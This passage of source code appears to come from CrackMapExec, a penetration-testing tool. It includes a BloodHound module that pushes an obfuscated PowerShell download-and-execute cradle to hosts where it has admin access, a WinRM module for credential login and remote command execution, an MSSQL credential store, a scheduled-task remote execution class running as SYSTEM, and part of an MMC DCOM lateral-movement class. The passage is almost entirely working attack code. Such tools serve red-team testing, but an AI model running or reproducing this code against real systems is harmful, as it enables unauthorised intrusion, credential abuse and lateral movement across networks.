37 | self.collection_method = 'Default'
38 | self.neo4j_URI = ""
39 | self.neo4j_user = ""
40 | self.neo4j_pass = ""
41 |
42 | if module_options and 'THREADS' in module_options:
43 | self.threads = module_options['THREADS']
44 | if module_options and 'CSVPATH' in module_options:
45 | self.csv_path = module_options['CSVPATH']
46 | if module_options and 'COLLECTIONMETHOD' in module_options:
47 | self.collection_method = module_options['COLLECTIONMETHOD']
48 | if module_options and 'NEO4JURI' in module_options:
49 | self.neo4j_URI = module_options['NEO4JURI']
50 | if module_options and 'NEO4JUSER' in module_options:
51 | self.neo4j_user = module_options['NEO4JUSER']
52 | if module_options and 'NEO4JPASS' in module_options:
53 | self.neo4j_pass = module_options['NEO4JPASS']
54 |
55 | if self.neo4j_URI != "" and self.neo4j_user != "" and self.neo4j_pass != "" :
56 | self.opsec_safe= True
57 |
58 | self.ps_script = obfs_ps_script('BloodHound-modified.ps1')
59 |
60 | def on_admin_login(self, context, connection):
61 | if self.neo4j_URI == "" and self.neo4j_user == "" and self.neo4j_pass == "" :
62 | command = "Invoke-BloodHound -CSVFolder '{}' -Throttle '{}' -CollectionMethod '{}'".format(self.csv_path, self.threads, self.collection_method)
63 | else :
64 | command = 'Invoke-BloodHound -URI {} -UserPass "{}:{}" -Throttle {} -CollectionMethod {}'.format(self.neo4j_URI, self.neo4j_user, self.neo4j_pass, self.threads, self.collection_method)
65 | launcher = gen_ps_iex_cradle(context, 'BloodHound-modified.ps1', command)
66 | connection.ps_execute(launcher)
67 | context.log.success('Executed launcher')
68 |
69 | def on_request(self, context, request):
70 | if 'BloodHound-modified.ps1' == request.path[1:]:
71 | request.send_response(200)
72 | request.end_headers()
73 | request.wfile.write(self.ps_script)
74 | context.log.success('Executing payload... this can take a few minutes...')
75 | else:
76 | request.send_response(404)
77 | request.end_headers()
78 |
79 | def on_response(self, context, response):
80 | response.send_response(200)
81 | response.end_headers()
82 | length = int(response.headers.getheader('content-length'))
83 | data = response.rfile.read(length)
84 | response.stop_tracking_host()
85 | if self.neo4j_URI == "" and self.neo4j_user == "" and self.neo4j_pass == "" :
86 | self.parse_ouput(data, context, response)
87 | context.log.success("Successfully retreived data")
88 |
89 | def parse_ouput(self, data, context, response):
90 | '''
91 | Parse the output from Invoke-BloodHound
92 | '''
93 |
94 | parsedData = data.split("!-!")
95 | nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv']
96 | for x in range(0, len(parsedData)):
97 | if "ComputerName" in parsedData[x] and "UserName" in parsedData[x] :
98 | log_name = '{}-{}-{}.csv'.format(nameList[0], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
99 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
100 | context.log.info("Saved csv output to {}".format(log_name))
101 | elif "GroupName" in parsedData[x] and "AccountName" in parsedData[x] :
102 | log_name = '{}-{}-{}.csv'.format(nameList[1], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
103 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
104 | context.log.info("Saved csv output to {}".format(log_name))
105 | elif "ComputerName" in parsedData[x] and "AccountName" in parsedData[x] :
106 | log_name = '{}-{}-{}.csv'.format(nameList[3], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
107 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
108 | context.log.info("Saved csv output to {}".format(log_name))
109 | elif "SourceDomain" in parsedData[x] and "TrustType" in parsedData[x] :
110 | log_name = '{}-{}-{}.csv'.format(nameList[4], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
111 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
112 | context.log.info("Saved csv output to {}".format(log_name))
113 | elif "ObjectName" in parsedData[x] and "ObjectType" in parsedData[x] :
114 | log_name = '{}-{}-{}.csv'.format(nameList[2], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
115 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name)
116 | context.log.info("Saved csv output to {}".format(log_name))
--------------------------------------------------------------------------------
/cme/protocols/winrm.py:
--------------------------------------------------------------------------------
1 | import winrm as pywinrm
2 | import requests
3 | import logging
4 | from StringIO import StringIO
5 | # from winrm.exceptions import InvalidCredentialsError
6 | from impacket.smbconnection import SMBConnection, SessionError
7 | from cme.connection import *
8 | from cme.helpers.logger import highlight
9 | from cme.logger import CMEAdapter
10 | from ConfigParser import ConfigParser
11 |
12 | # The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
14 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
15 |
16 |
17 | class winrm(connection):
18 |
19 | def __init__(self, args, db, host):
20 | self.domain = None
21 |
22 | connection.__init__(self, args, db, host)
23 |
24 | @staticmethod
25 | def proto_args(parser, std_parser, module_parser):
26 | winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser])
27 | dgroup = winrm_parser.add_mutually_exclusive_group()
28 | dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
29 | dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
30 | cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
31 | cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
32 | cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
33 | cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
34 |
35 | return parser
36 |
37 | def proto_flow(self):
38 | self.proto_logger()
39 | if self.create_conn_obj():
40 | self.enum_host_info()
41 | self.print_host_info()
42 | if self.login():
43 | if hasattr(self.args, 'module') and self.args.module:
44 | self.call_modules()
45 | else:
46 | self.call_cmd_args()
47 |
48 | def proto_logger(self):
49 | self.logger = CMEAdapter(extra={'protocol': 'WINRM',
50 | 'host': self.host,
51 | 'port': 'NONE',
52 | 'hostname': 'NONE'})
53 |
54 | def enum_host_info(self):
55 | try:
56 | smb_conn = SMBConnection(self.host, self.host, None)
57 | try:
58 | smb_conn.login('', '')
59 | except SessionError as e:
60 | if "STATUS_ACCESS_DENIED" in e.message:
61 | pass
62 |
63 | self.domain = smb_conn.getServerDomain()
64 | self.hostname = smb_conn.getServerName()
65 |
66 | self.logger.extra['hostname'] = self.hostname
67 |
68 | try:
69 | smb_conn.logoff()
70 | except:
71 | pass
72 |
73 | except Exception as e:
74 | logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
75 |
76 | if self.args.domain:
77 | self.domain = self.args.domain
78 |
79 | if self.args.local_auth:
80 | self.domain = self.hostname
81 |
82 | def print_host_info(self):
83 | self.logger.info(self.endpoint)
84 |
85 | def create_conn_obj(self):
86 | endpoints = [
87 | 'https://{}:5986/wsman'.format(self.host),
88 | 'http://{}:5985/wsman'.format(self.host)
89 | ]
90 |
91 | for url in endpoints:
92 | try:
93 | requests.get(url, verify=False, timeout=10)
94 | self.endpoint = url
95 | if self.endpoint.startswith('https://'):
96 | self.port = 5986
97 | else:
98 | self.port = 5985
99 |
100 | self.logger.extra['port'] = self.port
101 |
102 | return True
103 | except Exception as e:
104 | if 'Max retries exceeded with url' not in str(e):
105 | logging.debug('Error in WinRM create_conn_obj:' + str(e))
106 |
107 | return False
108 |
109 | def plaintext_login(self, domain, username, password):
110 | try:
111 | self.conn = pywinrm.Session(self.host,
112 | auth=('{}\\{}'.format(domain, username), password),
113 | transport='ntlm',
114 | server_cert_validation='ignore')
115 |
116 | # TO DO: right now we're just running the hostname command to make the winrm library auth to the server
117 | # we could just authenticate without running a command :) (probably)
118 | self.conn.run_cmd('hostname')
119 | self.admin_privs = True
120 | self.logger.success(u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'),
121 | username.decode('utf-8'),
122 | password.decode('utf-8'),
123 | highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
124 |
125 | return True
126 |
127 | except Exception as e:
128 | self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain.decode('utf-8'),
129 | username.decode('utf-8'),
130 | password.decode('utf-8'),
131 | e))
132 |
133 | return False
134 |
135 | def parse_output(self, response_obj):
136 | if response_obj.status_code == 0:
137 | buf = StringIO(response_obj.std_out).readlines()
138 | for line in buf:
139 | self.logger.highlight(line.decode('utf-8').strip())
140 |
141 | return response_obj.std_out
142 |
143 | else:
144 | buf = StringIO(response_obj.std_err).readlines()
145 | for line in buf:
146 | self.logger.highlight(line.decode('utf-8').strip())
147 |
148 | return response_obj.std_err
149 |
150 | def execute(self, payload=None, get_output=False):
151 | r = self.conn.run_cmd(self.args.execute)
152 | self.logger.success('Executed command')
153 | self.parse_output(r)
154 |
155 | def ps_execute(self, payload=None, get_output=False):
156 | r = self.conn.run_ps(self.args.ps_execute)
157 | self.logger.success('Executed command')
158 | self.parse_output(r)
159 |
--------------------------------------------------------------------------------
/cme/protocols/mssql/db_navigator.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.misc import validate_ntlm
2 | from cme.cmedb import DatabaseNavigator
3 |
4 |
5 | class navigator(DatabaseNavigator):
6 |
7 | def display_creds(self, creds):
8 |
9 | data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']]
10 |
11 | for cred in creds:
12 |
13 | credID = cred[0]
14 | domain = cred[1]
15 | username = cred[2]
16 | password = cred[3]
17 | credtype = cred[4]
18 | # pillaged_from = cred[5]
19 |
20 | links = self.db.get_admin_relations(userID=credID)
21 |
22 | data.append([credID, str(len(links)) + ' Host(s)', credtype, domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')])
23 |
24 | self.print_table(data, title='Credentials')
25 |
26 | def display_hosts(self, hosts):
27 |
28 | data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']]
29 |
30 | for host in hosts:
31 |
32 | hostID = host[0]
33 | ip = host[1]
34 | hostname = host[2]
35 | domain = host[3]
36 | os = host[4]
37 | instances = host[5]
38 |
39 | links = self.db.get_admin_relations(hostID=hostID)
40 |
41 | data.append([hostID, str(len(links)) + ' Cred(s)', ip, hostname.decode('utf-8'), domain.decode('utf-8'), os, instances])
42 |
43 | self.print_table(data, title='Hosts')
44 |
45 | def do_hosts(self, line):
46 |
47 | filterTerm = line.strip()
48 |
49 | if filterTerm == "":
50 | hosts = self.db.get_computers()
51 | self.display_hosts(hosts)
52 | else:
53 | hosts = self.db.get_computers(filterTerm=filterTerm)
54 |
55 | if len(hosts) > 1:
56 | self.display_hosts(hosts)
57 | elif len(hosts) == 1:
58 | data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
59 | hostIDList = []
60 |
61 | for host in hosts:
62 | hostID = host[0]
63 | hostIDList.append(hostID)
64 |
65 | ip = host[1]
66 | hostname = host[2]
67 | domain = host[3]
68 | os = host[4]
69 |
70 | data.append([hostID, ip, hostname.decode('utf-8'), domain.decode('utf-8'), os])
71 |
72 | self.print_table(data, title='Host(s)')
73 |
74 | data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
75 | for hostID in hostIDList:
76 | links = self.db.get_admin_relations(hostID=hostID)
77 |
78 | for link in links:
79 | linkID, credID, hostID = link
80 | creds = self.db.get_credentials(filterTerm=credID)
81 |
82 | for cred in creds:
83 | credID = cred[0]
84 | domain = cred[1]
85 | username = cred[2]
86 | password = cred[3]
87 | credtype = cred[4]
88 | # pillaged_from = cred[5]
89 |
90 | data.append([credID, credtype, domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')])
91 |
92 | self.print_table(data, title='Credential(s) with Admin Access')
93 |
94 | def do_creds(self, line):
95 |
96 | filterTerm = line.strip()
97 |
98 | if filterTerm == "":
99 | creds = self.db.get_credentials()
100 | self.display_creds(creds)
101 |
102 | elif filterTerm.split()[0].lower() == "add":
103 | args = filterTerm.split()[1:]
104 |
105 | if len(args) == 3:
106 | domain, username, password = args
107 | if validate_ntlm(password):
108 | self.db.add_credential("hash", domain, username, password)
109 | else:
110 | self.db.add_credential("plaintext", domain, username, password)
111 |
112 | else:
113 | print "[!] Format is 'add domain username password"
114 | return
115 |
116 | elif filterTerm.split()[0].lower() == "remove":
117 |
118 | args = filterTerm.split()[1:]
119 | if len(args) != 1:
120 | print "[!] Format is 'remove '"
121 | return
122 | else:
123 | self.db.remove_credentials(args)
124 | self.db.remove_links(credIDs=args)
125 |
126 | elif filterTerm.split()[0].lower() == "plaintext":
127 | creds = self.db.get_credentials(credtype="plaintext")
128 | self.display_creds(creds)
129 |
130 | elif filterTerm.split()[0].lower() == "hash":
131 | creds = self.db.get_credentials(credtype="hash")
132 | self.display_creds(creds)
133 |
134 | else:
135 | creds = self.db.get_credentials(filterTerm=filterTerm)
136 |
137 | data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
138 | credIDList = []
139 |
140 | for cred in creds:
141 | credID = cred[0]
142 | credIDList.append(credID)
143 |
144 | credType = cred[1]
145 | domain = cred[2]
146 | username = cred[3]
147 | password = cred[4]
148 |
149 | data.append([credID, credType, domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')])
150 |
151 | self.print_table(data, title='Credential(s)')
152 |
153 | data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
154 | for credID in credIDList:
155 | links = self.db.get_admin_relations(userID=credID)
156 |
157 | for link in links:
158 | linkID, credID, hostID = link
159 | hosts = self.db.get_computers(hostID)
160 |
161 | for host in hosts:
162 | hostID = host[0]
163 | ip = host[1]
164 | hostname = host[2]
165 | domain = host[3]
166 | os = host[4]
167 |
168 | data.append([hostID, ip, hostname.decode('utf-8'), domain.decode('utf-8'), os])
169 |
170 | self.print_table(data, title='Admin Access to Host(s)')
171 |
172 | def complete_hosts(self, text, line, begidx, endidx):
173 | "Tab-complete 'creds' commands."
174 |
175 | commands = ["add", "remove"]
176 |
177 | mline = line.partition(' ')[2]
178 | offs = len(mline) - len(text)
179 | return [s[offs:] for s in commands if s.startswith(mline)]
180 |
181 | def complete_creds(self, text, line, begidx, endidx):
182 | "Tab-complete 'creds' commands."
183 |
184 | commands = ["add", "remove", "hash", "plaintext"]
185 |
186 | mline = line.partition(' ')[2]
187 | offs = len(mline) - len(text)
188 | return [s[offs:] for s in commands if s.startswith(mline)]
189 |
--------------------------------------------------------------------------------
/cme/protocols/mssql/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "computers" (
9 | "id" integer PRIMARY KEY,
10 | "ip" text,
11 | "hostname" text,
12 | "domain" text,
13 | "os" text,
14 | "instances" integer
15 | )''')
16 |
17 | # This table keeps track of which credential has admin access over which machine and vice-versa
18 | db_conn.execute('''CREATE TABLE "admin_relations" (
19 | "id" integer PRIMARY KEY,
20 | "userid" integer,
21 | "computerid" integer,
22 | FOREIGN KEY(userid) REFERENCES users(id),
23 | FOREIGN KEY(computerid) REFERENCES computers(id)
24 | )''')
25 |
26 | # type = hash, plaintext
27 | db_conn.execute('''CREATE TABLE "users" (
28 | "id" integer PRIMARY KEY,
29 | "credtype" text,
30 | "domain" text,
31 | "username" text,
32 | "password" text
33 | )''')
34 |
35 | def add_computer(self, ip, hostname, domain, os, instances):
36 | """
37 | Check if this host has already been added to the database, if not add it in.
38 | """
39 | cur = self.conn.cursor()
40 |
41 | cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
42 | results = cur.fetchall()
43 |
44 | if not len(results):
45 | cur.execute("INSERT INTO computers (ip, hostname, domain, os, instances) VALUES (?,?,?,?,?)", [ip, hostname, domain, os, instances])
46 |
47 | cur.close()
48 |
49 | def add_credential(self, credtype, domain, username, password):
50 | """
51 | Check if this credential has already been added to the database, if not add it in.
52 | """
53 | cur = self.conn.cursor()
54 |
55 | cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password])
56 | results = cur.fetchall()
57 |
58 | if not len(results):
59 | cur.execute("INSERT INTO users (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password])
60 |
61 | cur.close()
62 |
63 | def remove_credentials(self, credIDs):
64 | """
65 | Removes a credential ID from the database
66 | """
67 | for credID in credIDs:
68 | cur = self.conn.cursor()
69 | cur.execute("DELETE FROM users WHERE id=?", [credID])
70 | cur.close()
71 |
72 | def add_admin_user(self, credtype, domain, username, password, host):
73 |
74 | cur = self.conn.cursor()
75 |
76 | cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password])
77 | creds = cur.fetchall()
78 |
79 | cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host])
80 | hosts = cur.fetchall()
81 |
82 | if len(creds) and len(hosts):
83 | for cred, host in zip(creds, hosts):
84 | userid = cred[0]
85 | computerid = host[0]
86 |
87 | # Check to see if we already added this link
88 | cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, computerid])
89 | links = cur.fetchall()
90 |
91 | if not len(links):
92 | cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, computerid])
93 |
94 | cur.close()
95 |
96 | def get_admin_relations(self, userID=None, hostID=None):
97 |
98 | cur = self.conn.cursor()
99 |
100 | if userID:
101 | cur.execute("SELECT * from admin_relations WHERE userid=?", [userID])
102 |
103 | elif hostID:
104 | cur.execute("SELECT * from admin_relations WHERE computerid=?", [hostID])
105 |
106 | results = cur.fetchall()
107 | cur.close()
108 | return results
109 |
110 | def remove_admin_relation(self, userIDs=None, hostIDs=None):
111 |
112 | cur = self.conn.cursor()
113 |
114 | if userIDs:
115 | for userID in userIDs:
116 | cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID])
117 |
118 | elif hostIDs:
119 | for hostID in hostIDs:
120 | cur.execute("DELETE FROM admin_relations WHERE computerid=?", [hostID])
121 |
122 | cur.close()
123 |
124 | def is_credential_valid(self, credentialID):
125 | """
126 | Check if this credential ID is valid.
127 | """
128 | cur = self.conn.cursor()
129 | cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [credentialID])
130 | results = cur.fetchall()
131 | cur.close()
132 | return len(results) > 0
133 |
134 | def get_credentials(self, filterTerm=None, credtype=None):
135 | """
136 | Return credentials from the database.
137 | """
138 |
139 | cur = self.conn.cursor()
140 |
141 | # if we're returning a single credential by ID
142 | if self.is_credential_valid(filterTerm):
143 | cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm])
144 |
145 | # if we're filtering by credtype
146 | elif credtype:
147 | cur.execute("SELECT * FROM users WHERE credtype=?", [credtype])
148 |
149 | # if we're filtering by username
150 | elif filterTerm and filterTerm != "":
151 | cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())])
152 |
153 | # otherwise return all credentials
154 | else:
155 | cur.execute("SELECT * FROM users")
156 |
157 | results = cur.fetchall()
158 | cur.close()
159 | return results
160 |
161 | def is_computer_valid(self, hostID):
162 | """
163 | Check if this computer ID is valid.
164 | """
165 | cur = self.conn.cursor()
166 | cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID])
167 | results = cur.fetchall()
168 | cur.close()
169 | return len(results) > 0
170 |
171 | def get_computers(self, filterTerm=None):
172 | """
173 | Return computers from the database.
174 | """
175 |
176 | cur = self.conn.cursor()
177 |
178 | # if we're returning a single host by ID
179 | if self.is_computer_valid(filterTerm):
180 | cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm])
181 |
182 | # if we're filtering by ip/hostname
183 | elif filterTerm and filterTerm != "":
184 | cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())])
185 |
186 | # otherwise return all credentials
187 | else:
188 | cur.execute("SELECT * FROM computers")
189 |
190 | results = cur.fetchall()
191 | cur.close()
192 | return results
193 |
--------------------------------------------------------------------------------
/cme/protocols/smb/atexec.py:
--------------------------------------------------------------------------------
1 | import os
2 | import logging
3 | from impacket.dcerpc.v5 import tsch, transport
4 | from impacket.dcerpc.v5.dtypes import NULL
5 | from cme.helpers.misc import gen_random_string
6 | from gevent import sleep
7 |
8 | class TSCH_EXEC:
9 | def __init__(self, target, share_name, username, password, domain, hashes=None):
10 | self.__target = target
11 | self.__username = username
12 | self.__password = password
13 | self.__domain = domain
14 | self.__share_name = share_name
15 | self.__lmhash = ''
16 | self.__nthash = ''
17 | self.__outputBuffer = ''
18 | self.__retOutput = False
19 | #self.__aesKey = aesKey
20 | #self.__doKerberos = doKerberos
21 |
22 | if hashes is not None:
23 | #This checks to see if we didn't provide the LM Hash
24 | if hashes.find(':') != -1:
25 | self.__lmhash, self.__nthash = hashes.split(':')
26 | else:
27 | self.__nthash = hashes
28 |
29 | if self.__password is None:
30 | self.__password = ''
31 |
32 | stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target
33 | self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
34 |
35 | if hasattr(self.__rpctransport, 'set_credentials'):
36 | # This method exists only for selected protocol sequences.
37 | self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
38 | #rpctransport.set_kerberos(self.__doKerberos)
39 |
40 | def execute(self, command, output=False):
41 | self.__retOutput = output
42 | self.execute_handler(command)
43 | return self.__outputBuffer
44 |
45 | def output_callback(self, data):
46 | self.__outputBuffer = data
47 |
48 | def execute_handler(self, data):
49 | if self.__retOutput:
50 | try:
51 | self.doStuff(data, fileless=True)
52 | except:
53 | self.doStuff(data)
54 | else:
55 | self.doStuff(data)
56 |
57 | def gen_xml(self, command, tmpFileName, fileless=False):
58 |
59 | xml = """
60 |
61 |
62 |
63 | 2015-07-15T20:35:13.2757294
64 | true
65 |
66 | 1
67 |
68 |
69 |
70 |
71 |
72 | S-1-5-18
73 | HighestAvailable
74 |
75 |
76 |
77 | IgnoreNew
78 | false
79 | false
80 | true
81 | false
82 |
83 | true
84 | false
85 |
86 | true
87 | true
88 | true
89 | false
90 | false
91 | P3D
92 | 7
93 |
94 |
95 |
96 | cmd.exe
97 | """
98 | if self.__retOutput:
99 | if fileless:
100 | local_ip = self.__rpctransport.get_socket().getsockname()[0]
101 | argument_xml = " /C {} > \\\\{}\\{}\\{} 2>&1".format(command, local_ip, self.__share_name, tmpFileName)
102 | else:
103 | argument_xml = " /C {} > %windir%\\Temp\\{} 2>&1".format(command, tmpFileName)
104 |
105 | elif self.__retOutput is False:
106 | argument_xml = " /C {}".format(command)
107 |
108 | logging.debug('Generated argument XML: ' + argument_xml)
109 | xml += argument_xml
110 |
111 | xml += """
112 |
113 |
114 |
115 | """
116 | return xml
117 |
118 | def doStuff(self, command, fileless=False):
119 |
120 | dce = self.__rpctransport.get_dce_rpc()
121 |
122 | dce.set_credentials(*self.__rpctransport.get_credentials())
123 | dce.connect()
124 | #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
125 | dce.bind(tsch.MSRPC_UUID_TSCHS)
126 | tmpName = gen_random_string(8)
127 | tmpFileName = tmpName + '.tmp'
128 |
129 | xml = self.gen_xml(command, tmpFileName, fileless)
130 |
131 | #logging.info("Task XML: {}".format(xml))
132 | taskCreated = False
133 | logging.info('Creating task \\%s' % tmpName)
134 | tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
135 | taskCreated = True
136 |
137 | logging.info('Running task \\%s' % tmpName)
138 | tsch.hSchRpcRun(dce, '\\%s' % tmpName)
139 |
140 | done = False
141 | while not done:
142 | logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
143 | resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
144 | if resp['pLastRuntime']['wYear'] != 0:
145 | done = True
146 | else:
147 | sleep(2)
148 |
149 | logging.info('Deleting task \\%s' % tmpName)
150 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
151 | taskCreated = False
152 |
153 | if taskCreated is True:
154 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
155 |
156 | if self.__retOutput:
157 | if fileless:
158 | while True:
159 | try:
160 | with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
161 | self.output_callback(output.read())
162 | break
163 | except IOError:
164 | sleep(2)
165 | else:
166 | peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
167 | smbConnection = self.__rpctransport.get_smb_connection()
168 | while True:
169 | try:
170 | #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
171 | smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
172 | break
173 | except Exception as e:
174 | if str(e).find('SHARING') > 0:
175 | sleep(3)
176 | elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
177 | sleep(3)
178 | else:
179 | raise
180 | #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
181 | smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
182 |
183 | dce.disconnect()
184 |
--------------------------------------------------------------------------------
/cme/protocols/smb/mmcexec.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # Copyright (c) 2003-2016 CORE Security Technologies
3 | #
4 | # This software is provided under under a slightly modified version
5 | # of the Apache Software License. See the accompanying LICENSE file
6 | # for more information.
7 | #
8 | # A similar approach to wmiexec but executing commands through MMC.
9 | # Main advantage here is it runs under the user (has to be Admin)
10 | # account, not SYSTEM, plus, it doesn't generate noisy messages
11 | # in the event log that smbexec.py does when creating a service.
12 | # Drawback is it needs DCOM, hence, I have to be able to access
13 | # DCOM ports at the target machine.
14 | #
15 | # Original discovery by Matt Nelson (@enigma0x3):
16 | # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
17 | #
18 | # Author:
19 | # beto (@agsolino)
20 | #
21 | # Reference for:
22 | # DCOM
23 | #
24 | # ToDo:
25 | # [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to
26 | # getInterface() method
27 | #
28 |
29 | import logging
30 | import os
31 | from gevent import sleep
32 | from cme.helpers.misc import gen_random_string
33 |
34 | from impacket import version
35 | from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
36 | VARIANT, VARENUM, DISPATCH_METHOD
37 | from impacket.dcerpc.v5.dcomrt import DCOMConnection
38 | from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
39 | OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
40 | IRemUnknown2, INTERFACE
41 | from impacket.dcerpc.v5.dtypes import NULL
42 | from impacket.examples import logger
43 | from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
44 |
45 | class MMCEXEC:
46 | def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None):
47 | self.__host = host
48 | self.__username = username
49 | self.__password = password
50 | self.__smbconnection = smbconnection
51 | self.__domain = domain
52 | self.__lmhash = ''
53 | self.__nthash = ''
54 | self.__share_name = share_name
55 | self.__output = None
56 | self.__outputBuffer = ''
57 | self.__shell = 'c:\\windows\\system32\\cmd.exe'
58 | self.__pwd = 'C:\\'
59 | self.__quit = None
60 | self.__executeShellCommand = None
61 | self.__retOutput = True
62 | if hashes is not None:
63 | self.__lmhash, self.__nthash = hashes.split(':')
64 |
65 | dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, None, oxidResolver=True)
66 | try:
67 | iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
68 | iMMC = IDispatch(iInterface)
69 |
70 | resp = iMMC.GetIDsOfNames(('Document',))
71 |
72 | dispParams = DISPPARAMS(None, False)
73 | dispParams['rgvarg'] = NULL
74 | dispParams['rgdispidNamedArgs'] = NULL
75 | dispParams['cArgs'] = 0
76 | dispParams['cNamedArgs'] = 0
77 | resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
78 |
79 | iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
80 | resp = iDocument.GetIDsOfNames(('ActiveView',))
81 | resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
82 |
83 | iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
84 | pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
85 |
86 | pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
87 |
88 | self.__quit = (iMMC, pQuit)
89 | self.__executeShellCommand = (iActiveView, pExecuteShellCommand)
90 |
91 | except Exception as e:
92 | self.exit()
93 | logging.error(str(e))
94 | dcom.disconnect()
95 |
96 | def getInterface(self, interface, resp):
97 | # Now let's parse the answer and build an Interface instance
98 | objRefType = OBJREF(''.join(resp))['flags']
99 | objRef = None
